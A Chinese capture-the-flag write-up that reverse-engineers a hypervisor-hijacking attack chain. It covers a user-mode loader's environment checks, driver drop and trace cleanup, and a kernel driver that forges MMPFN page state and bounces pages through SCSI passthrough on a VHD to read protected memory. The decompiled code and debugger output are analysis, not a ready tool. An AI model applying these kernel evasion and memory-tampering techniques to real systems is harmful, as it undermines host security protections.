Gss2026 Final
payload.sys 代码量很小,逻辑也比较简单,这里略过
R3#
攻击链路中 R3 主要负责环境检查、释放驱动、创建虚拟磁盘用于与内核通信,后续通过 cpuid 进入被劫持的 hypervisor
Hyper-V 检测#
144A07540 detect_hypervisor 中,cpuid(1) 检查返回的 rcx 第 31 位(Hypervisor Present Bit)以确认 HyperV 是否开启,cpuid(0x40000000) ,拼接返回的 ebx、ecx、edx,对于 HyperV,拼接结果为 “Microsoft Hv”。通过后进入 IOMMU 检查
_RAX = 1;
__asm { cpuid }
v14 = _RAX;
v15 = _RBX;
v16 = _RDX;
if ( _RCX >= 0 )
goto LABEL_7;
LOBYTE(v16) = 0;
_RAX = 0x40000000;
__asm { cpuid }
v15 = __PAIR64__(_RDX, _RCX);
v14 = _RBX;
if ( !strcmp(&v14, "Microsoft Hv") )
{
if ( check_dmar_ivrs_acpi_tables() )
*a2 = _mm_load_si128(&xmmword_144A654E0);
else
*a2 = 0;
return a2;
IOMMU 检测#
144A06650 check_dmar_ivrs_acpi_tables 中有两个字符串加密,分别解出来模块名 “ntdll.dll” 和 proc 名 “NtQuerySystemInformation”,然后 getHandle、getAddress 来调用 NtQuerySystemInformation(0x4C, 'ACPI', ...)
0x4C 语义为 SystemFirmwareTableInformation ,即枚举 ACPI firmware table
_RBP = (&v18 & 0xFFFFFFFFFFFFFFE0uLL);
*_RBP = 0xAA5A0BBC9C7B78FBuLL;
_RBP[8] = *_RBP;
*_RBP = 0xBDA70F05583CEF67uLL;
_RBP[9] = *_RBP;
*_RBP = 0xE976CEEBC88D0D68uLL;
_RBP[10] = *_RBP;
*_RBP = 0xAEC4913EB047EFF0uLL;
_RBP[11] = *_RBP;
*_RBP = 0xF92379D9E92A0CB5uLL;
_RBP[12] = *_RBP;
*_RBP = 0xDBC946683D489C1EuLL;
_RBP[13] = *_RBP;
*_RBP = 0x8719A79FA9E07F07uLL;
_RBP[14] = *_RBP;
*_RBP = 0xAEC4913EB047EFF0uLL;
_RBP[15] = *_RBP;
__asm
{
vmovdqu ymm0, [rbp+0A0h+var_60]
vpxor ymm1, ymm0, [rbp+0A0h+var_40]; vpxor 解出 proc name = "NtQuerySystemInformation"
vmovdqa [rbp+0A0h+var_60], ymm1
}
发现 DMAR 或 IVRS 表项则环境不合格,即 IOMMU 开启
if ( v17 == 'RAMD' || v17 == 'SRVI' )
break;
SCSI#
144A10B30 resolve_kernel32_and_virtdisk_apis 有大段的字符串加密、GetModuleHandleA、LoadLibraryA、GetProcAddress 之类的 api,解密出来的字符串至少包括:
- kernel32.dll
- virtdisk.dll
- DeleteFileW, OpenVirtualDisk, DetachVirtualDisk, CreateVirtualDisk, ActtachVirtualDisk
144A111E0 cleanup_existing_vhd_files_in_dir 枚举目标目录下的 vhd,OpenVirtualDisk -> DetachVirtualDisk -> CloseHandle/DeleteFileW 清理旧 vhd
if ( resolve_kernel32_and_virtdisk_apis() )
{
sub_144A100D0(v34, a1, L"\\*.vhd");
v2 = v34;
if ( v35 >= 8 )
v2 = v34[0];
FirstFileW = FindFirstFileW(v2, &v38);
...
if ( !g_pOpenVirtualDisk(&v36, v18, 0x40000, 0, v25, &v23) )// OpenVirtualDisk(..., OPEN_VIRTUAL_DISK_FLAG_NO_PARENTS, GetInfoOnly=TRUE, &hVhd)
{
g_pDetachVirtualDisk(v23, 0, 0); // DetachVirtualDisk(hVhd, 0, 0) on stale VHD before deleting it.
g_pCloseHandle(v23); // CloseHandle(hVhd) after the detach/open cleanup path.
}
v19 = &v32;
if ( *(&v33 + 1) >= 8u )
v19 = v32;
g_pDeleteFileW(v19); // DeleteFileW(fullVhdPath) removes the stale *.vhd file from the workspace.
...
144A04A10 prepare_vhd_workspace_and_path 先调用上面的清理逻辑,然后创建新的 vhd。vhd 名为随机 GUID,运行 R3 程序后可以枚举出来,这个现象在逆向前就能够发现,此时闭环
sub_144A097F0(_RBP + 136, _RBP + 192); // XOR-decoded wide string here is the VHD workspace directory: C:\\Windows\\Temp\\WdiServiceHost
v10 = (_RBP + 136);
if ( *((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0xA0) >= 8u )
v10 = *((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x88);
CreateDirectoryW(v10, 0); // CreateDirectoryW(L"C:\\Windows\\Temp\\WdiServiceHost", NULL)
cleanup_existing_vhd_files_in_dir((_RBP + 136));// Cleanup stale *.vhd files under the workspace before generating a fresh GUID-backed VHD path.
CoCreateGuid((_RBP + 56));
sub_144A003E0(
_RBP + 320,
L"{%08lX-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}",
*((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x38),
*((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x3C),
*((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x3E),
*((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x40),
*((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x41),
*((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x42),
*((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x43),
*((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x44),
*((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x45),
*((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x46),
*((&v35 & 0xFFFFFFFFFFFFFFE0uLL) + 0x47));
驱动释放#
144A05540 drop_embedded_file_and_reset_service
144A05902 call CreateFileW -> 144A05948 call WriteFile ->
144A0595D call sub_144A068B0,跳到 vm 段,之后 StartServiceW
mov r10, rcx
mov eax, 106
test byte ptr ds:[7FFE0308], 1
jne ntd11.7FFD4D22F655
syscall
ret
这边的 syscall 看调用号就知道是 NtLoadDriver。DriverEntry 应该故意返回了 STATUS_UNSUCCESSFUL,使驱动加载看起来失败了
之后 R3 OpenSCManagerW, OpenServiceW, ControlService(SERVICE_CONTROL_STOP), DeleteService, DeleteFileW 一套连招清理痕迹
控制台与结果显示#
不是重点,贴一下 ai 吐的分析结果
console_setup_and_api_resolve:0x144A3EAB0api_resolve_init:0x144A3ED50resolve_kernel32_and_virtdisk_apis:0x144A10B30stage_result_reporter:0x144A04160thread_entry_stage_result_reporter:0x1449FA120
作用:
- 配置控制台输出
- 动态解析一些 API
- 启动结果线程
- 输出
[ OK ] / [FAIL] / [READY]等阶段状态
R0#
主要分析 R3 释放出来的驱动。核心调度为 141DD7167 tvm_manual_map_and_vmexit_hook_stage
SCSI 4KB bounce 通道#
R3 创建了一个 VHD,得到一条正常的虚拟磁盘设备栈,驱动随后向磁盘的设备对象发 IOCTL_SCSI_PASS_THROUGH_DIRECT,每次收发 0x1000 字节,即一页
这条链路存在以下四个关键函数:
scsi_passthrough_lba0_4k:0x140009530scsi_sfer_n_4k_pages:0x140004FB0ensure_pfn_entry_state_for_scsi_bounce:0x140003EB0scsi_xfer_1_page:0x140003E10
scsi_passthrough_lba0_4k#
0x140009530
动态解析几个 ntoskrnl 导出函数,然后构造一个IOCTL_SCSI_PASS_THROUGH_DIRECT IRP,向目标磁盘设备对象发送 SCSI READ(10) 或 WRITE(10),固定访问虚拟磁盘 LBA0 开始的 4KB 数据
API 解析#
FNV-1a 解析 api,流程大致如下
v6 = g_pKeInitializeEvent;
if ( !g_pKeInitializeEvent )
{
if ( qword_141D0FE40
&& (v7 = *(qword_141D0FE40 + *(qword_141D0FE40 + 60) + 136),
v8 = *(qword_141D0FE40 + v7 + 24),
*(qword_141D0FE40 + v7 + 24)) )
{
v62 = a1;
v73 = qword_141D0FE40 + *(qword_141D0FE40 + v7 + 28);
v9 = qword_141D0FE40 + *(qword_141D0FE40 + v7 + 32);
v10 = qword_141D0FE40 + *(qword_141D0FE40 + v7 + 36);
v11 = 0;
do
{
v12 = *(v9 + 4 * v11);
v13 = *(qword_141D0FE40 + v12);
if ( v13 )
{
v14 = (qword_141D0FE40 + v12 + 1);
v15 = 0xCBF29CE484222325uLL;
do
{
v16 = 0x100000001B3LL * (v15 ^ v13);
v17 = *v14++;
v13 = v17;
v15 = v16;
}
while ( v17 );
if ( v16 == 0xD9FE78EA5EE16A1LL ) // FNV-1a compare hit for KeInitializeEvent. Hash 0x0D9FE78EA5EE16A1 = FNV1a64("KeInitializeEvent").
{
v6 = *(v73 + 4LL * *(v10 + 2 * v11)) + qword_141D0FE40;
goto LABEL_13;
}
...
用这样的方法共解析了以下四个函数。解析失败会把函数指针设为 0x114514。后续几乎所有 api 都是这样调用的,不再赘述
KeInitializeEvent
IoBuildDeviceIoControlRequest
IofCallDriver
KeWaitForSingleObject
初始化同步事件#
(v6)(v75, 1, 0); // KeInitializeEvent(&event, NotificationEvent=1, InitialState=FALSE)
用于等待下面构造出来的同步 IRP 完成
SCSI_PASS_THROUGH_DIRECT 构造#
v65 = 0;
v71 = 8;
v72 = 0;
LOWORD(v65) = 0x38; // SCSI_PASS_THROUGH_DIRECT.Length = 0x38 (56 bytes)
BYTE6(v65) = 10; // SCSI_PASS_THROUGH_DIRECT.CdbLength = 10 -> CDB is READ(10)/WRITE(10)
v68 = 0x38;
HIDWORD(v65) = 0x1000; // SCSI_PASS_THROUGH_DIRECT.DataTransferLength = 0x1000 (one 4 KB page)
v66 = 5; // SCSI_PASS_THROUGH_DIRECT.TimeOutValue = 5 seconds
v67 = a3; // SCSI_PASS_THROUGH_DIRECT.DataBuffer = caller-supplied page buffer
v69 = (2 * (a2 == 0x2A)) | 0x28; // CDB[0] opcode = 0x28 (READ10) or 0x2A (WRITE10). The helper always uses 8 sectors = 0x1000 bytes, i.e. LBA0 page-sized bounce I/O.
memset(v70, 0, sizeof(v70));
其中 v70 长度为 7
那么可以得到 CDB 大致结构
CDB[0] = 0x28 / 0x2A READ(10) / WRITE(10)
CDB[1] = 0 flags
CDB[2..5] = 00 00 00 00 起始 LBA = 0
CDB[6] = 0 group/reserved
CDB[7..8] = 00 08 Transfer Length = 8 blocks
CDB[9] = 0 Control
即访问 LBA0 开始的 8 个 block = 8 * 512 = 4KB
构造并发送 IOCTL#
IOCTL_SCSI_PASS_THROUGH_DIRECT 的 Major Code 是 IRP_MJ_DEVICE_CONTROL,调用者创建 SCSI CDB,如果 CDB 涉及数据传输就需要设置
v31 = (v18)(0x4D014, a1, &v65, 56, 0, 0, 0, v75, v74);// IoBuildDeviceIoControlRequest(IOCTL_SCSI_PASS_THROUGH_DIRECT=0x4D014, DeviceObject, &sptd, 0x38, NULL, 0, FALSE, &event, &iosb)
之后调用 IofCallDriver,把 IRP 发给 a1 指向的设备对象,也就是之前挂载的 vhd 对应的设备对象,最终由与该设备对象关联的驱动对象消费,因为磁盘挂载是 R3 程序调用 AttachVirtualDisk 实现的,所以对应的驱动对象是 disk.sys
v46 = (v33)(a1, v32); // IofCallDriver(DeviceObject, Irp) -> standard storage stack dispatch, eventually handled by the target Disk/vhdmp path.
一般的设备协议栈传递 IRP 是这样的路径(可能在某一层被阻断,取决于上层驱动是否转发)
a1 指向过滤驱动的 DeviceObject → 首先由过滤驱动接收 IRP a1 指向 disk.sys 创建/管理的磁盘类 DeviceObject → 首先由 disk.sys 的 IRP_MJ_DEVICE_CONTROL 分发函数接收 a1 指向更底层的虚拟磁盘相关 DeviceObject → 首先由 vhdmp/虚拟存储路径接收调试可以看到设备栈,IofCallDriver 前断下,第一个参数就是 DeviceObject
4: kd> !devstack rcx Cannot read info offset from nt!ObpInfoMaskToOffset !DevObj !DrvObj !DevExt ObjectName ffffd20721dec060 \Driver\partmgr ffffd20721dec1b0 > ffffd2072318b530 \Driver\disk ffffd2072318b680 DR1 ffffd20722a89050 \Driver\vhdmp ffffd20722a891a0 00000092 !DevNode ffffd20722fc7cc0 : DeviceInst is "SCSI\Disk&Ven_Msft&Prod_Virtual_Disk\2&1f4adffe&0&000001" ServiceName is "disk"partmgn (Partition Manager, 分区管理器) 在当前设备对象上层,不经过。当前驱动调用 IofCallDriver,IRP 给 disk.sys,如果 disk.sys 转发再传透到 vhdmp.sys
若 IoBuildDeviceIoControlRequest 返回 null,函数 return 0xC000009A,即 STATUS_INSUFFICIENT_RESOURCES,表示 IRP 构造失败
同步等待完成#
如果底层驱动异步处理请求(STATUS_PENDING = 0x103,当前线程就等待事件,完成后返回 IO_STATUS_BLOCK.Status
if ( v46 == 0x103 ) // STATUS_PENDING path: wait on the event and return iosb.Status
{
...
(v47)(v75, 0, 0, 0, 0); // KeWaitForSingleObject(&event, Executive, KernelMode, FALSE, NULL)
return v74[0]; // return iosb.Status
ensure_pfn_entry_state_for_scsi_bounce#
0x140003EB0
控制流平坦化,先脱了,能看大致逻辑就行
主要是修改 MMPFN 来伪造内存状态,从而支持 scsi 的 bounce 访问
先拿 pa,然后 RltGetVersion 拿版本号
if ( g_pMmGetPhysicalAddress )
{
pa = (g_pMmGetPhysicalAddress)(targetVa);
}
...
if ( pa )
{
memset(buffer, 0, 0x114u);
if ( g_pRtlGetVersion )
{
(g_pRtlGetVersion)(buffer);
}
...
g_pRtlGetVersion = resolved_rtlgetversion;
(resolved_rtlgetversion)(buffer);
}
nt_build_number = g_CachedNtBuildNumber;
if ( !g_CachedNtBuildNumber )
{
g_CachedNtBuildNumber = buffer[0].m128_u32[3];
nt_build_number = buffer[0].m128_u32[3];
}
然后取对应 PFN 表项(MMPFN + 0x28,一个叫做 u4 的 union),由 PFN = target_phys_addr » 12 可以化简为 page_meta_entry_ptr = (uint64_t *)(qword_141D0FD20 + PFN * 0x30 + 0x28),qword_141D0FD20 大概就是 PFN 数据库基址,每个 entry 固定在 0x30,实际访问 entry + 0x28 的 64 位页面元数据
page_meta_entry_ptr = (qword_141D0FD20 + 3 * ((target_phys_addr >> 8) & 0xFFFFFFFFFFFFFFF0uLL) + 40);
根据版本新旧设置了一个状态掩码
state_mask = 0x7000000000000000LL;
if ( nt_build_number < 0x47BC )
state_mask = 0x1C0000000000000LL;
进行一个状态检查,代数式可以化简为 if ( (*page_meta_entry_ptr & state_mask) == 0 )。语义就是检查这个物理页当前的特定标志位是否为 0,如果是则说明不符合要求,进入修改逻辑。修改逻辑可以化简成 new = (old & ~state_mask) | desired_state 也就是把三个位改成 001
if ( (*page_meta_entry_ptr & ~(*page_meta_entry_ptr ^ state_mask)) == 0 )
{
desired_state = 0x1000000000000000LL;
if ( nt_build_number < 0x47BC )
desired_state = 0x40000000000000LL;
v11 = 0x7000000000000000LL;
if ( nt_build_number < 0x47BC )
v11 = 0x1C0000000000000LL;
*(qword_141D0FD20 + 3 * ((target_phys_addr >> 8) & 0xFFFFFFFFFFFFFFF0uLL) + 40) = (v11 | ~page_meta_old_value)
^ (~desired_state
& 0x213485D88326B894LL
| desired_state
& 0xDECB7A277CD9476BuLL)
^ 0xDECB7A277CD9476BuLL
| ~(v11
| ~page_meta_old_value
| ~desired_state);
v16 = page_meta_old_value;
v15 = page_meta_entry_ptr;
}
最后返回旧的元数据
写入的这一步进行动态调试可以看得更清楚,在 *(qword_141D0FD20 + …) = … 这句,即偏移 4D7A 处断下来,先确认一下这个位置是 u4,可以递归看一下 u4 现在的内容,值为 0x0004000f`fffffffd,也就是说 PageIdentity 这一位是 0
5: kd> g
Breakpoint 2 hit
srztLao5dQ+0x4d7a:
fffff809`2bc44d7a 4c8908 mov qword ptr [rax],r9
5: kd> dt nt!_MMPFN @@c++(@rax - 0x28)
+0x000 ListEntry : _LIST_ENTRY [ 0x00000a40`e3d86610 - 0xffffb480`00000000 ]
+0x000 TreeNode : _RTL_BALANCED_NODE
+0x000 u1 : <anonymous-tag>
+0x008 PteAddress : 0xffffb480`00000000 _MMPTE
+0x008 PteLong : 0xffffb480`00000000
+0x010 OriginalPte : _MMPTE
+0x018 u2 : _MIPFNBLINK
+0x020 u3 : <anonymous-tag>
+0x024 NodeBlinkLow : 0
+0x026 Unused : 0y0000
+0x026 Unused2 : 0y0000
+0x027 ViewCount : 0 ''
+0x027 NodeFlinkLow : 0 ''
+0x027 ModifiedListBucketIndex : 0y0000
+0x027 AnchorLargePageSize : 0y00
+0x028 u4 : <anonymous-tag>
5: kd> dt nt!_MMPFN -r1 @@c++(@rax - 0x28)
+0x000 ListEntry : _LIST_ENTRY [ 0x00000a40`e3d86610 - 0xffffb480`00000000 ]
+0x000 Flink : 0x00000a40`e3d86610 _LIST_ENTRY
+0x008 Blink : 0xffffb480`00000000 _LIST_ENTRY
+0x000 TreeNode : _RTL_BALANCED_NODE
+0x000 Children : [2] 0x00000a40`e3d86610 _RTL_BALANCED_NODE
+0x000 Left : 0x00000a40`e3d86610 _RTL_BALANCED_NODE
+0x008 Right : 0xffffb480`00000000 _RTL_BALANCED_NODE
+0x010 Red : 0y0
+0x010 Balance : 0y00
+0x010 ParentValue : 0x80
+0x000 u1 : <anonymous-tag>
+0x000 NextSlistPfn : _SINGLE_LIST_ENTRY
+0x000 Next : 0x00000a40`e3d86610 Void
+0x000 Flink : 0y000011100011110110000110011000010000 (0xe3d86610)
+0x000 NodeFlinkHigh : 0y0000000000000000000010100100 (0xa4)
+0x000 Active : _MI_ACTIVE_PFN
+0x008 PteAddress : 0xffffb480`00000000 _MMPTE
+0x000 u : <anonymous-tag>
+0x008 PteLong : 0xffffb480`00000000
+0x010 OriginalPte : _MMPTE
+0x000 u : <anonymous-tag>
+0x018 u2 : _MIPFNBLINK
+0x000 Blink : 0y000000000000000000000000000000000001 (0x1)
+0x000 NodeBlinkHigh : 0y00000000000000000000 (0)
+0x000 TbFlushStamp : 0y0000
+0x000 Unused : 0y00
+0x000 PageBlinkDeleteBit : 0y0
+0x000 PageBlinkLockBit : 0y0
+0x000 ShareCount : 0y00000000000000000000000000000000000000000000000000000000000001 (0x1)
+0x000 PageShareCountDeleteBit : 0y0
+0x000 PageShareCountLockBit : 0y0
+0x000 EntireField : 1
+0x000 Lock : 0n1
+0x000 LockNotUsed : 0y00000000000000000000000000000000000000000000000000000000000001 (0x1)
+0x000 DeleteBit : 0y0
+0x000 LockBit : 0y0
+0x020 u3 : <anonymous-tag>
+0x000 ReferenceCount : 2
+0x002 e1 : _MMPFNENTRY1
+0x003 e3 : _MMPFNENTRY3
+0x000 e2 : <anonymous-tag>
+0x000 e4 : <anonymous-tag>
+0x024 NodeBlinkLow : 0
+0x026 Unused : 0y0000
+0x026 Unused2 : 0y0000
+0x027 ViewCount : 0 ''
+0x027 NodeFlinkLow : 0 ''
+0x027 ModifiedListBucketIndex : 0y0000
+0x027 AnchorLargePageSize : 0y00
+0x028 u4 : <anonymous-tag>
+0x000 PteFrame : 0y111111111111111111111111111111111101 (0xffffffffd)
+0x000 ResidentPage : 0y0
+0x000 Unused1 : 0y0
+0x000 Unused2 : 0y0
+0x000 Partition : 0y0000000000 (0)
+0x000 FileOnly : 0y0
+0x000 PfnExists : 0y1
+0x000 Spare : 0y000000000 (0)
+0x000 PageIdentity : 0y000
+0x000 PrototypePte : 0y0
+0x000 EntireField : 0x0004000f`fffffffd
步过之后再看,此时 PageIdentity 已经置 1
5: kd> dt nt!_MMPFN -r1 @@c++(@rax - 0x28)
+0x000 ListEntry : _LIST_ENTRY [ 0x00000a40`e3d86610 - 0xffffb480`00000000 ]
+0x000 Flink : 0x00000a40`e3d86610 _LIST_ENTRY
+0x008 Blink : 0xffffb480`00000000 _LIST_ENTRY
+0x000 TreeNode : _RTL_BALANCED_NODE
+0x000 Children : [2] 0x00000a40`e3d86610 _RTL_BALANCED_NODE
+0x000 Left : 0x00000a40`e3d86610 _RTL_BALANCED_NODE
+0x008 Right : 0xffffb480`00000000 _RTL_BALANCED_NODE
+0x010 Red : 0y0
+0x010 Balance : 0y00
+0x010 ParentValue : 0x80
+0x000 u1 : <anonymous-tag>
+0x000 NextSlistPfn : _SINGLE_LIST_ENTRY
+0x000 Next : 0x00000a40`e3d86610 Void
+0x000 Flink : 0y000011100011110110000110011000010000 (0xe3d86610)
+0x000 NodeFlinkHigh : 0y0000000000000000000010100100 (0xa4)
+0x000 Active : _MI_ACTIVE_PFN
+0x008 PteAddress : 0xffffb480`00000000 _MMPTE
+0x000 u : <anonymous-tag>
+0x008 PteLong : 0xffffb480`00000000
+0x010 OriginalPte : _MMPTE
+0x000 u : <anonymous-tag>
+0x018 u2 : _MIPFNBLINK
+0x000 Blink : 0y000000000000000000000000000000000001 (0x1)
+0x000 NodeBlinkHigh : 0y00000000000000000000 (0)
+0x000 TbFlushStamp : 0y0000
+0x000 Unused : 0y00
+0x000 PageBlinkDeleteBit : 0y0
+0x000 PageBlinkLockBit : 0y0
+0x000 ShareCount : 0y00000000000000000000000000000000000000000000000000000000000001 (0x1)
+0x000 PageShareCountDeleteBit : 0y0
+0x000 PageShareCountLockBit : 0y0
+0x000 EntireField : 1
+0x000 Lock : 0n1
+0x000 LockNotUsed : 0y00000000000000000000000000000000000000000000000000000000000001 (0x1)
+0x000 DeleteBit : 0y0
+0x000 LockBit : 0y0
+0x020 u3 : <anonymous-tag>
+0x000 ReferenceCount : 2
+0x002 e1 : _MMPFNENTRY1
+0x003 e3 : _MMPFNENTRY3
+0x000 e2 : <anonymous-tag>
+0x000 e4 : <anonymous-tag>
+0x024 NodeBlinkLow : 0
+0x026 Unused : 0y0000
+0x026 Unused2 : 0y0000
+0x027 ViewCount : 0 ''
+0x027 NodeFlinkLow : 0 ''
+0x027 ModifiedListBucketIndex : 0y0000
+0x027 AnchorLargePageSize : 0y00
+0x028 u4 : <anonymous-tag>
+0x000 PteFrame : 0y111111111111111111111111111111111101 (0xffffffffd)
+0x000 ResidentPage : 0y0
+0x000 Unused1 : 0y0
+0x000 Unused2 : 0y0
+0x000 Partition : 0y0000000000 (0)
+0x000 FileOnly : 0y0
+0x000 PfnExists : 0y1
+0x000 Spare : 0y000000000 (0)
+0x000 PageIdentity : 0y001
+0x000 PrototypePte : 0y0
+0x000 EntireField : 0x1004000f`fffffffd
scsi_sfer_n_4k_pages#
0x140004FB0
逻辑比较简单,贴一下完整代码。就是先 WRITE(10) 再 READ(10) 再 WRITE(10),即
- 先修改 PFN 元数据,使得 SCSI 可 bounce
- 把修改过后的页面 push 到 LBA0
- 恢复 PFN
- 从 LBA0 把内容读到目标页面
- 把恢复后的页面写回一个 buffer
// Higher-level 4 KB bounce helper: WRITE(10) source page -> disk buffer, READ(10) disk buffer -> destination page, then WRITE(10) scratch/original buffer back for cleanup.
// scsi_sfer_n_4k_pages: page-level bounce primitive. Sequence is WRITE(10) src page -> READ(10) dst page -> cleanup WRITE(10) scratch/original buffer.
__int64 __fastcall scsi_sfer_n_4k_pages(__int64 allocated_memory, char *mapped_va, __int64 page_count)
{
__int64 v5; // r15
unsigned __int64 v6; // r14
int v7; // eax
int v8; // ebp
unsigned __int64 *page_meta_restore_slot; // [rsp+20h] [rbp-38h] BYREF
if ( g_HasScsiBounceChannel )
{
if ( page_count )
{
v5 = page_count;
while ( 1 )
{
page_meta_restore_slot = 0;
v6 = ensure_pfn_entry_state_for_scsi_bounce(mapped_va, &page_meta_restore_slot);// 调用 ensure_pfn_entry_state_for_scsi_bounce:RAX=旧 PFN 元数据值,*page_meta_restore_slot=需要恢复的 entry+0x28 槽位。
v7 = scsi_passthrough_lba0_4k(scsi_bounce_ctx->DeviceObject, 0x2A, mapped_va);// WRITE(10): push the source page into the VHD-backed disk buffer via standard SCSI passthrough.
if ( page_meta_restore_slot )
*page_meta_restore_slot = v6; // 第一次 WRITE(10) 返回后恢复被临时改写的 PFN 元数据:*restore_slot = saved_old。
if ( v7 < 0 )
break;
v8 = scsi_passthrough_lba0_4k(scsi_bounce_ctx->DeviceObject, 0x28, allocated_memory);// READ(10): pull the same 4 KB sector back into the destination page.
if ( v8 >= 0 )
{
scsi_passthrough_lba0_4k(scsi_bounce_ctx->DeviceObject, 0x2A, scsi_bounce_ctx->Sector0RestoreBuf);// Cleanup WRITE(10): send the static scratch/original buffer at qword_141D0FD18+8 back to the same LBA.
mapped_va += 0x1000;
allocated_memory += 0x1000;
if ( --v5 )
continue;
}
return v8;
}
return v7;
}
else
{
return 0;
}
}
else
{
return 0xC00000A3;
}
}
值得一提的是 141D0FD18(scsi_bounce_ctx)这个全局变量被传给 IoBuildDeviceIoControlRequest 作为第二个参数,随后被传给 IofCallDriver 作为第一个参数,因此可以判断是 DeviceObject 的指针。
基于这个判断,可以从 scsi_passthrough_lba0_4k(loc_141D0FD18, 0x2A, loc_141D0FD18 + 8) 这句调用恢复(猜测)出来一个结构体的雏形
00000000 #pragma pack(push, 2)
00000000 struct _SCSI_BOUNCE_CONTEXT // sizeof=0x1008
00000000 { // XREF: SCSI_BOUNCE_CONTEXT/r
00000000 void *DeviceObject;
00000008 unsigned __int8 Sector0RestoreBuf[4096];
00001008 };
00001008 #pragma pack(pop)
00001008 typedef struct _SCSI_BOUNCE_CONTEXT SCSI_BOUNCE_CONTEXT;
scsi_xfer_1_page#
0x140003E10
上面三个函数最终由 copy_phys_page_with_lazy_resolve 调用,只有这个函数属于 find_kernel_signature_in_physical_ranges
做的事情跟 scsi_sfer_n_4k_pages 差不多,做一波复制的操作,如果复制成功那么页面可用,继续做签名匹配
// Validate that the mapped physical page matches the scratch copy before the signature scan continues.
// Use the same SCSI WRITE(10) + READ(10) bounce path to validate that mappedPage and copiedPage observe the same content.
// scsi_xfer_1_page: validate that the MmMapIoSpace view and the scratch-page copy view really match by replaying the same page through the VHD/vhdmp SCSI bounce channel.
NTSTATUS __fastcall scsi_xfer_1_page(void *copiedPage, void *mappedPage)
{
unsigned __int64 phys_addr; // rdi
NTSTATUS result; // eax
NTSTATUS v6; // esi
unsigned __int64 *page_meta_restore_slot; // [rsp+28h] [rbp-20h] BYREF
if ( !g_HasScsiBounceChannel )
return 0xC00000A3;
page_meta_restore_slot = 0;
phys_addr = ensure_pfn_entry_state_for_scsi_bounce(mappedPage, &page_meta_restore_slot);// 调用 ensure_pfn_entry_state_for_scsi_bounce,为验证路径里的 mappedPage 临时准备 PFN 元数据恢复信息。
result = scsi_passthrough_lba0_4k(g_ScsiBounceCtx->DeviceObject, 0x2A, mappedPage);
if ( page_meta_restore_slot )
*page_meta_restore_slot = phys_addr; // 验证路径同样在第一次 WRITE(10) 后恢复 PFN 元数据旧值。
if ( result >= 0 )
{
v6 = scsi_passthrough_lba0_4k(g_ScsiBounceCtx->DeviceObject, 40, copiedPage);
scsi_passthrough_lba0_4k(g_ScsiBounceCtx->DeviceObject, 42, g_ScsiBounceCtx->Sector0RestoreBuf);// Final cleanup WRITE(10) after the validation READ(10).
return v6;
}
return result;
}
copy_phys_page_with_lazy_resolve#
14000DF10
先分配出 n 个页面大小的 allocated_memory 作为目标地址,然后扫物理内存,筛选符合条件的页面填入 allocated_memory
主循环逻辑如下
筛出全 0xFF 的页面#
分配 page_count (第二个参数) 个页面,分配失败输出日志返回错误码,注意这边分配的是内核虚拟地址
size = _page_count << 12; // 页数转为字节数
allocated_memory = (soved_MmAllocateContiguousMemory)(size, -1);
if ( !allocated_memory )
{
decode_hidden_string_len6(&unk_141D0FFEC, &byte_14002135F);// decode_hidden_string_len6("debug")
decode_hidden_string_len51(&unk_141D0FF30, &dword_14002117C);// decode_hidden_string_len51("D:\\UGit\\HyperCharge2\\src\\kernelsys\\hypercharge.cpp")
decode_hidden_string_len44(&unk_141D10270, byte_140021993);// decode_hidden_string_len44("hypercharge::FindContinousEmptyPagesInRange")
decode_hidden_log_string(&unk_141D0FFBC, byte_140021303);// decode_hidden_log_string("failed to alloc memory for empty buffer.\r\n")
log_decoded_hypercharge_message(&unk_141D0FFEC, &unk_141D0FF30, &unk_141D10270, 385, &unk_141D0FFBC);// log_decoded_hypercharge_message(..., line=385, message="failed to alloc memory for empty buffer.\r\n")
return 0xC000009ALL;
}
取一个页面起始的物理地址,copy 到分配的页面里。这边 MmCopyMemory 的 Flags = 1,即 MM_COPY_MEMORY_PHYSICAL
phys = (pRange + v24) & 0xFFFFFFFFFFFFF000uLL;
if ( (MmCopyMemory)(allocated_memory, phys, size, 1, v92) >= 0 )
{
筛选条件
{ // 接上文
v41 = -8;
do
{
if ( *(allocated_memory + v41 + 8) != 0xFFFFFFFFFFFFFFFFuLL )
goto LABEL_22;
v41 += 8LL;
}
while ( v41 <= 0xFF7 );
就是扫连续八字节,确保全为 0xFFFFFFFFFFFFFFFF
if (MmCopy(allocated_memory, phys, size, 1, v92) >= 0)
{
for (int i = 0; i < 0x1000; i += 8)
{
if (*(uint64_t)(allocated_memory + i) != 0xFFFFFFFFFFFFFFFF)
goto LABEL_22;
}
}
筛选成功后用 MmMapIoSpace 进行一个映射,然后 bounce 到 allocated_memory 中
mapped_va = (MmMapIoSpace)(phys, size, 0);
_mapped_va = mapped_va;
if ( scsi_sfer_n_4k_pages(allocated_memory, mapped_va, page_count) < 0 )// copy_phys_page_with_lazy_resolve ultimately falls back to scsi_sfer_n_4k_pages() when normal MmCopyMemory/MmMapIoSpace only sees the fake/guarded page view.
{
筛掉 0、int3、nop#
bounce 一次后又进行了一个筛,筛掉有 0 和 int3 和 nop 的页
while ( 1 )
{
v61 = *(v58 + v60);
if ( *(v58 + v60) )
{
if ( v61 != 0xCC && v61 != 0x90 )
break;
}
if ( v59 == ++v60 )
goto LABEL_61;
}
find_kernel_signature_in_physical_ranges#
14000BEB0
取受保护页面的真实内容#
分配一页的内存,失败输出日志,也是做题过程中看到的第一条日志
allocated_memory = (MmAllocateContiguousMemory)(0x1000, 0xFFFFFFFFFFFFFFFFuLL);
if ( !allocated_memory )
{
decode_hidden_string_len6(&unk_141D0FFEC, &byte_14002135F);// decode_hidden_string_len6("debug")
decode_hidden_string_len51(&unk_141D0FF30, &dword_14002117C);// decode_hidden_string_len51("D:\\UGit\\HyperCharge2\\src\\kernelsys\\hypercharge.cpp")
